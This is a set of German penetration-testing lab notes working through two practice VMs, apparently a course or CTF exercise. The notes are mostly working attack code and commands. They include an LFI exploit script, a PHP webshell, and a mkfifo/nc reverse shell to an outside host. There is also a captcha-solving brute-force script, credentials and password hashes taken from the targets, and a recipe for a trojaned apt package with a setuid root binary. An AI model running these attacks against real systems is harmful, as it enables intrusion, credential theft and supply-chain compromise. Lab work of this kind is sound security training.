# Nmap 7.92 scan initiated Mon May  9 12:10:49 2022 as: nmap -sV -sC -p- -o VM12/nmap 10.1.2.218
Nmap scan report for 10.1.2.218
Host is up (0.018s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 98:96:e8:59:5f:54:60:5d:95:1f:6c:40:28:6c:48:22 (RSA)
|   256 ac:db:6c:f8:c4:aa:07:a2:5f:a6:ae:f1:67:49:e4:0f (ECDSA)
|_  256 18:6c:3f:30:cc:db:12:8e:9a:9e:ce:a5:f8:af:08:f2 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: W\xC3\xB6rdpress
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon May  9 12:11:05 2022 -- 1 IP address (1 host up) scanned in 15.60 seconds
```
* Sourcecode ist wahrscheinlich auf VM4
* Login mit `alice:alice` klappt
* Cookie ist urlencoded

```json
{
    "username": "alice",
    "expiration": 1337,
    "welcome": "welcome.php",
    "data": null,
    "session": "dfe9215e35b2a8468a933505b9308138"
}
```
* `welcome` landet in einem `include()` http://10.1.2.186:3000/Acid_Burn/woerdpress/src/branch/master/webpage/login.php#L36
* LFI funktioniert, aber remote php files includen klappt nicht

```python
#!/usr/bin/env python

import requests
import urllib.parse
import json
import sys

payload = {"username": "alice", "expiration": 1337, "welcome": "/../../../../../.." + sys.argv[1], "data": None, "session": "dfe9215e35b2a8468a933505b9308138"}
data = urllib.parse.quote(json.dumps(payload))

print(data)

r = requests.get("http://10.1.2.218/login.php", cookies={"sessionData": data})

print(r.text)
```

`python lfy.py /etc/passwd`

https://xen0vas.github.io/Exploiting-the-LFI-vulnerability-using-the-proc-self-stat-method/

`data` beim login setzen:

```
curl --request POST \
  --url http://10.1.2.218/login.php \
  --header 'Content-Type: application/x-www-form-urlencoded' \
  --data username=alice \
  --data password=alice \
  --data 'data=<pre><?php echo shell_exec($_GET['\''a'\'']); ?></pre>'
```

als response bekommt man eine `PHPSESSION` id. `/var/lib/php/sessions/sess_SESSION-ID` als `welcome` im cookie setzen => RCE

Webshell `shell.php` hochgeladen, Reverse Shell mit mit `http://10.1.2.218/shell.php?a=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f` (URL encoded)
* User Flag ist in `/var/www` (User ist `www-data`)

**Post Exploitation Recon**
* SQL Creds: `digger:xFb0UN117Ve@`
    * Enthält neben dem usernamen `alice:alice` auch noch ein Tupel in Table `config`, nämlich `secret:1dj90j0h8$ee`
    * Das secret wird wohl zur Authentifizerung des Nutzernamens im Cookie genutzt `$hash = hash_hmac('md5',$username.'|'.$expiration,$secret);`
    * Wir können die Session-Hashes jetzt also selbst ausrechnen: `php -r "echo hash_hmac('md5', 'alice|1337', '1dj90j0h8\$ee');"` Nützt es uns was, wenn wir den Nutzernamen im Cookie ändern können? Ich tendiere zu nein, die Webapp macht überhaupt nichts außer die Placeholder-Seite aufzurufen.
* Login-Form sollte für SQL-Injections anfällig sein, aber da die Website absolut nichts tut und wir ohnehin schon die SQL-Creds haben, nützt das vermutlich nichts.
* Einziger normaler User auf dem System ist `alice`, welche sudo-Group hat -> Ihr Passwort zu finden ist genauso gut wie Root zu erhalten. Alle bekannten `alice`-Passwörter von anderen VMs durchprobiert, kein Erfolg.
* Mit Meterpreter auch nichts Brauchbares gefunden.
* Einziger Cronjob scheint der Standard PHP-Session-Cleanup zu sein. Vermutlich™ nicht exploitbar.
    * Ein einziges Mal habe ich aber auch ein von Cron ausgelöstes `apt update && apt upgrade` gesehen (mit `pspy64 -pf -i 1000`)
    * `/etc/apt/sources.list` ist schreibbar, evtl. können wir ein modifiziertes Package reinschmuggeln?

**PrivEsc**
Wir schmuggeln eine Setuid-Binary mit einem "gefälschten" Package ein.
* Ich nutze dafür das `sudo`-Package, jedes installierte Package wäre aber ok `apt list --installed`
* Habe die Idee vorher in eigener VM getestet, weil das Finden des richtigen Setups etwas Trial-and-Error benötigte und wir keine Logs auf dem Victim lesen dürfen
    
Erstellen des Packages:
* Runterladen des originalen Packages: http://archive.ubuntu.com/ubuntu/ubuntu/ubuntu/pool/main/s/sudo/sudo_1.8.31-1ubuntu1.2_amd64.deb
* Entpacken des Packages mitsamt der Package-Config
    * `dpkg-deb -x sudo_1.8.31-1ubuntu1.2_amd64.deb unpacked`
    * `dpkg-deb -e sudo_1.8.31-1ubuntu1.2_amd64.deb unpacked/DEBIAN`
    * Erstellen einer Setuid-Binary `unpacked/usr/bin/pwn` und `chown root:root` sowie `chmod 4755` darauf
    * Eintragen der md5sum von `pwn` in die `unpacked/DEBIAN/md5sum`
    * Inkrementieren der Versionsnummer in `unpacked/DEBIAN/control` auf `1.8.32-1ubuntu1.2` (muss höher sein als installierte Version auf Victim)
    * Wieder verpacken mit `sudo dpkg-deb -Z xz -b --root-owner-group unpacked/ packed/` (die root-owner-group ist wichtig, sonst werden die Dateien einen User-Owner auf dem Victim haben)

Konfiguration des Repos auf Victim:
* Upload der .deb Archivs auf Victim in `/var/www/webpage/debs/` (ein `FILE`-Repo oder hosten auf eigener VM ginge auch, aber da schon ein Webserver auf dem Victim läuft...)
* `cd` in das obige Directory und Ausführen `dpkg-scanpackages . | gzip -9c > Packages.gz` (sonst findet `apt` die Packages nicht)
* Überschreiben der `/etc/apt/sources.list`:
```
# /etc/apt/sources.list
deb [trusted=yes] http://10.1.2.218/debs ./
# Alternative 1 (selbst hosten):
# deb [trusted=yes] http://YOURIP:YOURPORT/debs ./
# Alternative 2 (ohne webserver):
# deb [trusted=yes] file:/var/www/webpage/debs ./
```
* Nach einiger Zeit startet System den Cronjob
    * Danach `/usr/bin/pwn` ausführen und Root erhalten
    * **`ssh root@10.1.2.218`**
    * Als root noch aus Interesse mit `crontab -e` nachgeschaut: der `apt`-Task ist nur stündlich gescheduled (`5 * * * *`), weswegen ich ihn so gut wie nie gesehen habe. Eventuell wollte der VM-Ersteller das eher auf `*/5 * * * *` stellen, damit es alle 5 Minuten läuft?

## VM14
```
# Nmap 7.92 scan initiated Mon May  9 12:11:05 2022 as: nmap -sV -sC -p- -o VM14/nmap 10.1.2.179
Nmap scan report for 10.1.2.179
Host is up (0.016s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 ec:04:95:3c:72:9e:ec:47:b2:d8:e2:60:c8:24:fe:3d (RSA)
|   256 3c:a9:12:26:d5:e9:d1:16:d1:9e:a9:73:62:a5:b1:e5 (ECDSA)
|_  256 47:b1:23:85:e9:cd:49:4c:c8:c0:f9:a7:c3:93:e2:c7 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: ALERON
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon May  9 12:11:18 2022 -- 1 IP address (1 host up) scanned in 13.43 seconds
```

* Die Website auf Port 80 scheint selbst gebaut zu sein.
* SQLMap auf LOGIN-Page (bisher) ohne Ergebnis

Habe das Dictionary-Attack-Skript leicht ergänzt, ohne auf Usability/Optimierungen zu achten (Parallelisierung über die möglichen Usernames durch geeigneten Aufruf des Skripts):

```
import requests
import sys

if (len(sys.argv) != 3):
    print("Usage: {} <userid> <wordlist or '-'>".format(sys.argv[0]))
    exit()

# user, die sich aus der Teams-Seite ergeben. Selektion über Param userid
users = ['greer', 'byers', 'clark', 'jenkins', 'atkinson', 'gallegos', 'roy', 'whitley', 'alanclark419', 'alicejenkins149', 'joannaroydrawings']
readstdin = 0
if (sys.argv[2] == '-'):
    readstdin = 1
else:
    wordlist = open(sys.argv[2])
user = users[int(sys.argv[1])]
print("Will brute for user {}".format(user), file=sys.stderr)

while(True):
    if readstdin:
        pw = sys.stdin.readline()
    else:
        pw = wordlist.readline()
    if (len(pw) == 0 or (len(pw) == 1 and pw.endswith('\n'))):
        print("No password found for " + user, file=sys.stderr)
        break
    if (pw.endswith('\n')):
        pw = pw[0:-1]
    response = requests.get('http://10.1.2.179/index.php?p=login')
    s = response.text
    task = s[s.find('What is '):s.find('?\n')].replace('What is ', '')
    task = task.split()
    if task[1] == '+':
        res = int(task[0]) + int(task[2])
    elif task[1] == '*':
        res = int(task[0]) * int(task[2])
    else:
        res = int(task[0]) - int(task[2])


    params = {
        'p': 'login',
    }

    data = {
        'user': user,
        'pass': pw,
        'captcha': res,
        'submit': 'Login',
    }

    response = requests.post('http://10.1.2.179/index.php', params=params, data=data, cookies=response.cookies)
    if response.text.split('\n')[-1] != 'wrong user or password':
        print(response.text, file=sys.stderr)
        print(data, file=sys.stderr)
        print("Password {} possibly valid for user {}".format(pw, user), file=sys.stderr)
        break
    else:
        print("Password {} invalid for user {}".format(pw, user), file=sys.stdout)

```

Mit `for i in {0..11}; do python3 brute.py $i /usr/share/wordlists/rockyou.txt 1>/dev/null &; done` fiel nach ca. 1 Sekunde folgender Credential raus:

`{'user': 'atkinson', 'pass': 'sunshine', 'captcha': 0, 'submit': 'Login'}`

Credential `atkinson:sunshine` funktioniert auf der Website, nicht für SSH.
* Auf der Website findet man nach Login eine interne News-Seite mit einem Hinweis, die Leute sollen gefälligst gute Passworte nutzen.
* Unter `http://10.1.2.179/index.php?p=updateMentions` findet sich ein weiteres Formular.
    * wahrscheinlich keine sql injection 
    * aber das formular ist schon sus irgendwas muss da sein
    * die bilder sind aber statisch von unterem ordner geladen
* Dirlisting ist an für images http://10.1.2.179/img/ (gif ist für die 404 seite)
* Klingt fast nach nochmal pw bruteforcen, die haben ja haustiere erwähnt: https://www.instagram.com/joannaroydrawings/ ist auf der teamseite verlinkt und sie hat bilder von tieren
    * https://www.instagram.com/p/CIdY2PIhzF3/ hat explizit den haustiernamen erwähnt: "Mr. Snuggles"
* Creds für weiteren User erhalten`jenkins:Mr. Snuggles76`
(Suche mit `for prefix in "Mr.Snuggles" "Mr. Snuggles" "snuggles" "Snuggles" "mrsnuggles" "MrSnuggles";do crunch 1 2 $(cat chars.txt) | xargs -I % -n 1 sh -c "echo '$prefix%'" | python3 brute.py 3 - 1>/dev/null &;done` wobei `chars.txt` Zahlen und diverse Sonderzeichen enthielt)
* Funktionieren sowohl auf Website als auch für SSH -> User erhalten *(für Convencience wieder authorized_keys eingefügt, auch wenn prinzipiell unnötig)*
    * **`ssh jenkins@10.1.2.179`**
* `whitley` ist einziger User in der sudo-group, `jenkins` hat keine Groups. `www-data` hat Kontrolle über einige Skripts, die von `root` ausgeführt werden (hat aber `/usr/sbin/nologin` als Shell)
* Keine Setuid-Binaries gefunden
* Diverser Website-Backend-Quelltext unter `/var/www` (für jenkins nur lesbar)
* SQL Creds: `aleron:sEMR8Oj96w5y9z0F` (aus `/var/www/cronjob.php`)
    * mysql läuft unter user `mysql`
    * `mysql --user=aleron --password=sEMR8Oj96w5y9z0F -D aleron`
    * Falls der cronjob von einem privilegierten User ausgeführt wird, könnte eine Injection in das `name`-Feld der SQL-Datenbank sinnvoll sein - Code nutzt aber Prepare-Statements, daher keine Injection möglich.? (code folgt unten)
    * Dennoch Datenbank-Schema um ein `2fa`-Feld im `account`-Table erweitert und neue Creds `testuser:sunshine` angelegt, für den 2FA aktiviert ist. Der `cronjob.php` wird nun für diesen user ausgeführt (aktualisiert die 2FA-Codes in der SQL-Tabelle alle paar Minuten, nachvollziehbar per `select * from 2fa;` in der MySQL-CLI).

cronjob.php (nur editierbar von `www-data`):
```
<?php
$db = new mysqli("127.0.0.1", "aleron", "sEMR8Oj96w5y9z0F", "aleron");

# Diese Query hat im Ausgangszustand gar nichts returned,
# nach meiner Bearbeitung liefert sie den Testuser.
if ($stmt = $db->prepare("SELECT * FROM account WHERE 2fa IS NOT NULL;")) {
	if ($stmt->execute()) {
		$res = $stmt->get_result();
		while ($row = $res->fetch_assoc()) {
			if ($row && isset($row['name']) && $row['name']) {
				$code = bin2hex(random_bytes(3));
				if ($stmt = $db->prepare("INSERT INTO 2fa (account, code) VALUES (?,?) ON DUPLICATE KEY UPDATE code = ?;")) {
					if ($stmt->bind_param("sss", $row['name'], $code, $code)) {
						$stmt->execute();
					}
				}
			}
		}
	}
}
```

Passwort-Hashes ausgelesen:
```
mysql> select * from account;
+----------+---------------------------------------------------------------+
| name     | password                                                      |
+----------+---------------------------------------------------------------+
| atkinson | $2y$10$wLHXqtzcb1IVeJ4RCS194OdRFb4EY8FKTSurFOeNwsI6xMJZuTRJS  |
| byers    | $2y$10$vaFfiZ314tLkX0meHP9HN.cfwVQryl.cJToKpc8Ivpz6bnnkITKaC  |
| clark    | $2y$10$kYcrb.uCvZW89TLwIW/APubkicjio3TS1atUAKu2rlp.yTkwoGn2y  |
| gallegos | 7$2y$10$.eH.sL5dlcqb1QOBCt20VOfTmRI7/loRYluBOU5eZOQnPHzqUkH1K |
| greer    | $2y$10$aongZFpIcbldNSNGjan5fefXvrF9L6fVIBU1uoqYYFgM0S4x7LYkW  |
| jenkins  | $2y$10$eNfDi9V9jd/3.I0W8RV6/.Tio0inSLnC.WhUmxHWfqpqb9APa2JEC  |
| roy      | $2y$10$d9j2FwMVSJXst7.HhX7M0.jMwL7.LTYbsV9mMqUT9uOBi2aS/vQ26  |
| whitley  | $2y$10$QR6xTJQ3a/CZtueAygZBEuJ0CLFrjzNpYNHAGrMaw.6bdpPdZGdCO  |
+----------+---------------------------------------------------------------+
```
* John hat nichts unmittelbar gefunden (außer auf `atkinson`, welcher schon bekannt war). Eventuell ein bisschen mit den Optionen rumspielen?
* Da auf der Website scheinbar alle User die gleichen Rechte haben, nützt uns das Abändern von Passworten in der Datenbank auch nichts
* Wenn auf der Website unter `updateMentions` die Zahlen aktualisiert werden, wird unter anderem das ausgeführt (`index.php`):
```
$data['author'] = $_SESSION['user'];
$data['mentions'] = json_encode($mentions);
shell_exec('sudo rm /data/tmp/updateMentions');
file_put_contents('/data/tmp/updateMentions', json_encode($data));
shell_exec('sudo chmod 777 /data/tmp/updateMentions');
shell_exec('sudo /usr/bin/python3 /var/www/updateMentions.py');
```
* Hätte man Code Execution für`www-data`, wäre root dementsprechend einfach.
* **(*)** Man kann über den Nutzernamen PHP-Code in die `mentions.png` einbetten (in MySQL User mit Namen `<?php...` erstellen, als dieser einloggen und die updateMentions-Funktion nutzen), aber da man die Datei nicht umbenennen kann ist unklar, wie man den ausführen würde. LFI gibts scheinbar auch keine.
```
# relevanter Ausschnit updateMentions.py
# author von uns kontrollierbar
METADATA = {"version":"1.0","author":author,"Title":title}
im = Image.open(f)
meta = PngImagePlugin.PngInfo()
for x in METADATA:
        meta.add_text(x, METADATA[x])
im.save(f, "png", pnginfo=meta)
```
* Mit einem `secret` könnte man sich die 2FA-Codes auf der Website ausgeben lassen:

```
if ($page === "2fa") {
        if (isset($_GET['secret'], $_GET['user']) && password_verify($_GET['secret'], '$2y$10$mKfNgM6V4a2gvJtdl7vvV.35dRzPCAmSRJjIDVeOdQEGmn5ZbIRSO')) {
                if ($stmt = $db->prepare("SELECT code FROM 2fa WHERE account = ? LIMIT 1;")) {
                        if ($stmt->bind_param("s", $_GET['user'])) {
                                if ($stmt->execute()) {
                                        $res = $stmt->get_result();
                                        $row = $res->fetch_assoc();
                                        if ($row && isset($row['code'])) {
                                                echo $row['code'];
```

* alle bisher bekannten PWs als `secret` durchprobiert, kein Erfolg. Würde man überhaupt Code-Execution bekommen wenn man den Code entsprechend setzt, oder wäre das ohnehin alles escaped in `echo $row['code']`?
* **Lösung für Root**: `/var/www/html/.htaccess` um `AddHandler application/x-httpd-php .png` ergänzt (war global schreibbar, hatte die Datei zwar gesehen aber den ganzen Tag nicht dessen Permissions gecheckt weil sonst absolut nichts im betroffenen Ordner schreibbar war...). Reverse-Shell in die `mentions.png` eingebettet (siehe **(*)** oben):
    * `insert into account(name,password) values("<?php shell_exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f')\; ?>", '$2y$10$wLHXqtzcb1IVeJ4RCS194OdRFb4EY8FKTSurFOeNwsI6xMJZuTRJS');`
    * Der Hash ist der bereits bekannte Hash von `sunshine`
    * Mit diesen Credentials einloggen und einmal Update Mentions machen
    * Durch Öffnen von `http://10.1.2.179/img/mentions.png` eine Shell für `www-data` erhalten
* mit `www-data` dann eine Setuid-Binary in `/tmp/suid` angelegt und die `/var/www/updateMentions.py` um folgendes ergänzt:
```
[...]
import os

os.system("sudo chown root:root /tmp/suid; chmod 4755 /tmp/suid") 
[...]
```
* Dann nochmal auf der Aleron-Website die Mentions aktualisiert (mit welchem Account ist jetzt egal) -> `/tmp/suid` ausgeführt -> Root Shell
* Unsere SSH-Keys für root hinterlegt falls noch jemand was nachschauen will
    * **`ssh root@10.1.2.179`**
* *Das ganze 2FA-Gedöns war reine Ablenkung*
* *Alternative zum Anlegen eines neuen Users: Da die Metadaten in
`/data/tmp/updateMentions` zwischengespeichert werden (bevor `updateMentions.py` ausgeführt wird) und diese Datei global schreibbar ist, hätte man die Race Condition darauf ausnutzen können, indem man in einer Endlosschleife die Payload dort direkt reinschreibt.
Ich finde den Weg über den neu angelegten User aber eleganter.*